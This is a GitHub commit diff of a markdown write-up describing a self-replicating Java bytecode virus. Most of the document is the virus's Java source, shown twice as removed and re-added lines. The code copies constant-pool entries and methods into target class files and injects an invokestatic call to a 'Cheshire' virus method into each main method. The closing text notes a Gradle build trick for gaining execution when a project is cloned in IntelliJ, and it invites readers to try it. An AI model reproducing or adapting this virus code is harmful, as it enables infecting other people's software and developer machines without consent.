Fixed indentation in code blocks

This commit is contained in:
TheDuchy 2020-11-01 03:16:10 +01:00 committed by GitHub
parent b6467a43b8
commit dbdd507db4
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -101,142 +101,141 @@ This is probably the easiest part of the whole process. Our code for doing this
```java
public static int copyConstant(HashMap<String, Object> origin, int origin_index, HashMap<String, Object> destination){
byte[][] constant_pool = (byte[][]) origin.get("constant_pool");
byte[] orig_constant = constant_pool[origin_index-1];
//Create a map between the old and new constant pools
//This will help us avoid copying too many vars over and being wasteful
if(origin.get("constant_pool_map") == null){
HashMap<Integer, Integer> constant_pool_map = new HashMap<Integer, Integer>();
origin.put("constant_pool_map", constant_pool_map);
}
HashMap<Integer, Integer> constant_pool_map = (HashMap<Integer, Integer>) origin.get("constant_pool_map");
if(constant_pool_map.keySet().contains(origin_index)){
return constant_pool_map.get(origin_index);
}
int const_tag = orig_constant[0];
if(const_tag == 1){
int new_index = addToPool(destination, orig_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else if(const_tag == 7){
ByteBuffer b = ByteBuffer.allocate(3);
int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
int new_name_index = copyConstant(origin, orig_name_index, destination);
b.put(orig_constant[0]);
b.putShort((short) new_name_index);
byte[] new_constant = b.array();
int new_index;
if(getClassName(origin).equals(getUtf8Constant(orig_name_index, origin))){
byte[] selfClassBytes = (byte[]) destination.get("this_class");
ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes);
new_index = selfBytes.getShort();
}
else{
new_index = addToPool(destination, new_constant);
constant_pool_map.put(origin_index, new_index);
}
return new_index;
}
else if(const_tag == 9 || const_tag == 10 || const_tag == 11){
ByteBuffer b = ByteBuffer.allocate(5);
int orig_class_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
int new_class_index = copyConstant(origin, orig_class_index, destination);
String thisClass = getClassName(origin);
byte[] methodClassBytes = constant_pool[orig_class_index-1];
ByteBuffer methodClassBuffer = ByteBuffer.wrap(methodClassBytes);
methodClassBuffer.get();
int classNameIndex = methodClassBuffer.getShort();
String methodClassName = getUtf8Constant(classNameIndex, origin);
byte[][] constant_pool = (byte[][]) origin.get("constant_pool");
byte[] orig_constant = constant_pool[origin_index-1];
if(methodClassName.equals(getClassName(origin))){
byte[] selfClassBytes = (byte[]) destination.get("this_class");
byte[][] t_constant_pool = (byte[][]) destination.get("constant_pool");
ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes);
new_class_index = selfBytes.getShort();
}
b.put(orig_constant[0]);
b.putShort((short) new_class_index);
int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination);
b.putShort((short) new_name_and_type_index);
byte[] new_constant = b.array();
int new_index = addToPool(destination, new_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else if(const_tag == 8){
ByteBuffer b = ByteBuffer.allocate(3);
b.put(orig_constant[0]);
int orig_string_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
int new_string_index = copyConstant(origin, orig_string_index, destination);
b.putShort((short) new_string_index);
byte[] new_constant = b.array();
int new_index = addToPool(destination, new_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else if(const_tag == 3 || const_tag == 4 || const_tag == 5 || const_tag == 6){
int new_index = addToPool(destination, orig_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else if(const_tag == 12){
ByteBuffer b = ByteBuffer.allocate(5);
b.put(orig_constant[0]);
int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
int new_name_index = copyConstant(origin, orig_name_index, destination);
b.putShort((short) new_name_index);
int orig_descriptor_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
b.putShort((short) new_descriptor_index);
byte[] new_constant = b.array();
int new_index = addToPool(destination, new_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else if(const_tag == 15){
ByteBuffer b = ByteBuffer.allocate(4);
b.put(orig_constant[0]);
b.put(orig_constant[1]);
int old_reference_index = (short) (((orig_constant[2] & 0xFF) << 8) | (orig_constant[3] & 0xFF));
int new_reference_index = copyConstant(origin, old_reference_index, destination);
b.putShort((short) new_reference_index);
byte[] new_constant = b.array();
int new_index = addToPool(destination, new_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else if(const_tag == 16){
ByteBuffer b = ByteBuffer.allocate(3);
b.put(orig_constant[0]);
int orig_descriptor_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
b.putShort((short) new_descriptor_index);
byte[] new_constant = b.array();
int new_index = addToPool(destination, new_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else if(const_tag == 18){
ByteBuffer b = ByteBuffer.allocate(5);
b.put(orig_constant[0]);
b.put(orig_constant[1]);
b.put(orig_constant[2]);
int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination);
b.putShort((short) new_name_and_type_index);
byte[] new_constant = b.array();
int new_index = addToPool(destination, new_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else{
return -1;
}
}
//Create a map between the old and new constant pools
//This will help us avoid copying too many vars over and being wasteful
if(origin.get("constant_pool_map") == null){
HashMap<Integer, Integer> constant_pool_map = new HashMap<Integer, Integer>();
origin.put("constant_pool_map", constant_pool_map);
}
HashMap<Integer, Integer> constant_pool_map = (HashMap<Integer, Integer>) origin.get("constant_pool_map");
if(constant_pool_map.keySet().contains(origin_index)){
return constant_pool_map.get(origin_index);
}
int const_tag = orig_constant[0];
if(const_tag == 1){
int new_index = addToPool(destination, orig_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else if(const_tag == 7){
ByteBuffer b = ByteBuffer.allocate(3);
int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
int new_name_index = copyConstant(origin, orig_name_index, destination);
b.put(orig_constant[0]);
b.putShort((short) new_name_index);
byte[] new_constant = b.array();
int new_index;
if(getClassName(origin).equals(getUtf8Constant(orig_name_index, origin))){
byte[] selfClassBytes = (byte[]) destination.get("this_class");
ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes);
new_index = selfBytes.getShort();
}
else{
new_index = addToPool(destination, new_constant);
constant_pool_map.put(origin_index, new_index);
}
return new_index;
}
else if(const_tag == 9 || const_tag == 10 || const_tag == 11){
ByteBuffer b = ByteBuffer.allocate(5);
int orig_class_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
int new_class_index = copyConstant(origin, orig_class_index, destination);
String thisClass = getClassName(origin);
byte[] methodClassBytes = constant_pool[orig_class_index-1];
ByteBuffer methodClassBuffer = ByteBuffer.wrap(methodClassBytes);
methodClassBuffer.get();
int classNameIndex = methodClassBuffer.getShort();
String methodClassName = getUtf8Constant(classNameIndex, origin);
if(methodClassName.equals(getClassName(origin))){
byte[] selfClassBytes = (byte[]) destination.get("this_class");
byte[][] t_constant_pool = (byte[][]) destination.get("constant_pool");
ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes);
new_class_index = selfBytes.getShort();
}
b.put(orig_constant[0]);
b.putShort((short) new_class_index);
int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination);
b.putShort((short) new_name_and_type_index);
byte[] new_constant = b.array();
int new_index = addToPool(destination, new_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else if(const_tag == 8){
ByteBuffer b = ByteBuffer.allocate(3);
b.put(orig_constant[0]);
int orig_string_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
int new_string_index = copyConstant(origin, orig_string_index, destination);
b.putShort((short) new_string_index);
byte[] new_constant = b.array();
int new_index = addToPool(destination, new_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else if(const_tag == 3 || const_tag == 4 || const_tag == 5 || const_tag == 6){
int new_index = addToPool(destination, orig_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else if(const_tag == 12){
ByteBuffer b = ByteBuffer.allocate(5);
b.put(orig_constant[0]);
int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
int new_name_index = copyConstant(origin, orig_name_index, destination);
b.putShort((short) new_name_index);
int orig_descriptor_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
b.putShort((short) new_descriptor_index);
byte[] new_constant = b.array();
int new_index = addToPool(destination, new_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else if(const_tag == 15){
ByteBuffer b = ByteBuffer.allocate(4);
b.put(orig_constant[0]);
b.put(orig_constant[1]);
int old_reference_index = (short) (((orig_constant[2] & 0xFF) << 8) | (orig_constant[3] & 0xFF));
int new_reference_index = copyConstant(origin, old_reference_index, destination);
b.putShort((short) new_reference_index);
byte[] new_constant = b.array();
int new_index = addToPool(destination, new_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else if(const_tag == 16){
ByteBuffer b = ByteBuffer.allocate(3);
b.put(orig_constant[0]);
int orig_descriptor_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
b.putShort((short) new_descriptor_index);
byte[] new_constant = b.array();
int new_index = addToPool(destination, new_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else if(const_tag == 18){
ByteBuffer b = ByteBuffer.allocate(5);
b.put(orig_constant[0]);
b.put(orig_constant[1]);
b.put(orig_constant[2]);
int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination);
b.putShort((short) new_name_and_type_index);
byte[] new_constant = b.array();
int new_index = addToPool(destination, new_constant);
constant_pool_map.put(origin_index, new_index);
return new_index;
}
else{
return -1;
}
}
```
Essentially we create a function that keeps track of constants in both the origin and the target's constant pools. Whenever
@ -254,36 +253,35 @@ merely a matter of adding it to an index of methods, the real challenge is in en
The workhorse of the virus for this is the instructionIndex method:
```java
public static int instructionIndex(int index, ArrayList<byte[]> oldList, ArrayList<byte[]> newList){
int oldposition = 0;
int newposition = 0;
int remainder = 0;
int instruction_pos = 0;
int list_offset = 0;
if(oldList.size() != newList.size()){
list_offset = newList.size() - oldList.size();
}
// Step one: Convert old index
while(oldposition < index){
if(oldposition + oldList.get(instruction_pos).length <= index){
oldposition += oldList.get(instruction_pos).length;
instruction_pos += 1;
}
else if(oldposition + oldList.get(instruction_pos).length > index){
oldposition += oldList.get(instruction_pos).length;
instruction_pos += 1;
remainder = oldposition - index;
oldposition -= remainder;
}
}
instruction_pos += list_offset;
//Step two: Convert instruction_pos + remainder to new position
for(int i = 0; i < instruction_pos; i++){
newposition += newList.get(i).length;
}
return newposition;
public static int instructionIndex(int index, ArrayList<byte[]> oldList, ArrayList<byte[]> newList){
int oldposition = 0;
int newposition = 0;
int remainder = 0;
int instruction_pos = 0;
int list_offset = 0;
if(oldList.size() != newList.size()){
list_offset = newList.size() - oldList.size();
}
// Step one: Convert old index
while(oldposition < index){
if(oldposition + oldList.get(instruction_pos).length <= index){
oldposition += oldList.get(instruction_pos).length;
instruction_pos += 1;
}
else if(oldposition + oldList.get(instruction_pos).length > index){
oldposition += oldList.get(instruction_pos).length;
instruction_pos += 1;
remainder = oldposition - index;
oldposition -= remainder;
}
}
instruction_pos += list_offset;
//Step two: Convert instruction_pos + remainder to new position
for(int i = 0; i < instruction_pos; i++){
newposition += newList.get(i).length;
}
return newposition;
}
```
There's no magic here. Essentially we just need to translate the original position of some code
@ -312,66 +310,63 @@ The last part of our process after we copy our methods is actually inject instru
write and have no control over. The good news for me is that this didn't require too much extra work.
```java
public static void inject(HashMap<String, Object> origin, HashMap<String, Object> destination){
//Are there any functions called main?
//Get the method, get the code attribute, extract code, place instruction and see if we can extend StackMapFrame
//We should parse through the constant pool, look for the methodref with our method name and capture the index
byte[][] constant_pool = (byte[][]) origin.get("constant_pool");
int methodRefIndex;
byte[] instruction_bytes = new byte[3];
public static void inject(HashMap<String, Object> origin, HashMap<String, Object> destination){
//Are there any functions called main?
//Get the method, get the code attribute, extract code, place instruction and see if we can extend StackMapFrame
//We should parse through the constant pool, look for the methodref with our method name and capture the index
byte[][] constant_pool = (byte[][]) origin.get("constant_pool");
int methodRefIndex;
byte[] instruction_bytes = new byte[3];
//Since our main virus method is never invoked in any of the methods we've copied, we need to copy the MethodRef
//For that method manually.
//Since our main virus method is never invoked in any of the methods we've copied, we need to copy the MethodRef
//For that method manually.
//Find the Constant Pool index of the MethodRef for our virus.
for(int i = 0; i < constant_pool.length; i++){
byte[] constant = constant_pool[i];
//Find the Constant Pool index of the MethodRef for our virus.
for(int i = 0; i < constant_pool.length; i++){
byte[] constant = constant_pool[i];
if(constant[0] == (byte) 10){
byte[] natindexbytes = new byte[2];
System.arraycopy(constant, 3 , natindexbytes, 0, 2);
int NameAndTypeIndex = (short) (((natindexbytes[0] & 0xFF) << 8) | (natindexbytes[1] & 0xFF));
byte[] NameAndType = constant_pool[NameAndTypeIndex-1];
byte[] nameindexbytes = new byte[2];
System.arraycopy(NameAndType, 1, nameindexbytes, 0, 2 );
int NameIndex = (short) (((nameindexbytes[0] & 0xFF) << 8) | (nameindexbytes[1] & 0xFF));
String methodName = getUtf8Constant(NameIndex, origin);
if(methodName.equals("Cheshire")){
methodRefIndex = i+1;
methodRefIndex = copyConstant(origin, methodRefIndex, destination);
ByteBuffer bb = ByteBuffer.allocate(2);
bb.putShort((short) methodRefIndex);
byte[] index_bytes = bb.array();
byte invokestatic = (byte) 184;
instruction_bytes[0] = invokestatic;
instruction_bytes[1] = index_bytes[0];
instruction_bytes[2] = index_bytes[1];
ArrayList<byte[]> inject_instructions = new ArrayList<byte[]>();
inject_instructions.add(instruction_bytes);
destination.put("inject_instructions", inject_instructions);
}
if(constant[0] == (byte) 10){
byte[] natindexbytes = new byte[2];
System.arraycopy(constant, 3 , natindexbytes, 0, 2);
int NameAndTypeIndex = (short) (((natindexbytes[0] & 0xFF) << 8) | (natindexbytes[1] & 0xFF));
byte[] NameAndType = constant_pool[NameAndTypeIndex-1];
byte[] nameindexbytes = new byte[2];
System.arraycopy(NameAndType, 1, nameindexbytes, 0, 2 );
int NameIndex = (short) (((nameindexbytes[0] & 0xFF) << 8) | (nameindexbytes[1] & 0xFF));
String methodName = getUtf8Constant(NameIndex, origin);
if(methodName.equals("Cheshire")){
methodRefIndex = i+1;
methodRefIndex = copyConstant(origin, methodRefIndex, destination);
ByteBuffer bb = ByteBuffer.allocate(2);
bb.putShort((short) methodRefIndex);
byte[] index_bytes = bb.array();
byte invokestatic = (byte) 184;
instruction_bytes[0] = invokestatic;
instruction_bytes[1] = index_bytes[0];
instruction_bytes[2] = index_bytes[1];
ArrayList<byte[]> inject_instructions = new ArrayList<byte[]>();
inject_instructions.add(instruction_bytes);
destination.put("inject_instructions", inject_instructions);
}
}
byte[][] methods = (byte[][]) destination.get("methods");
for(int i = 0; i < methods.length; i++){
ByteBuffer b = ByteBuffer.wrap(methods[i]);
b.get(new byte[2]);
int nameIndex = b.getShort();
b.get(new byte[4]);
String methodName = getUtf8Constant(nameIndex, destination);
if(methodName.equals("main")){
try {
copyMethod((HashMap<String, Object>) destination.clone(), i, destination);
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
byte[][] methods = (byte[][]) destination.get("methods");
for(int i = 0; i < methods.length; i++){
ByteBuffer b = ByteBuffer.wrap(methods[i]);
b.get(new byte[2]);
int nameIndex = b.getShort();
b.get(new byte[4]);
String methodName = getUtf8Constant(nameIndex, destination);
if(methodName.equals("main")){
try {
copyMethod((HashMap<String, Object>) destination.clone(), i, destination);
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
```
Since our main virus method is never called by any of the other functions we've written, we have to copy the MethodRef
for that function to the target ourselves. We need to do this to use the invokestatic opcode, which is what we're sticking with
@ -408,7 +403,6 @@ void autoBuild(){
build{
autoBuild();
}
```
We can quickly talk about what this does. The trick is very simple. We can define a custom task for gradle
@ -420,4 +414,3 @@ get execution on clone in IntelliJ IDEA.*** Give it a try :)
The end result of this effort is a set of self-replicating bytecode that is only a few steps away from being pretty
weaponizable. There are a lot of improvements I would have made to this code if I had the time, but hopefully a codebase
to create viral code just by using an IDE as normal is enough for now. Hope you enjoyed. Until next time.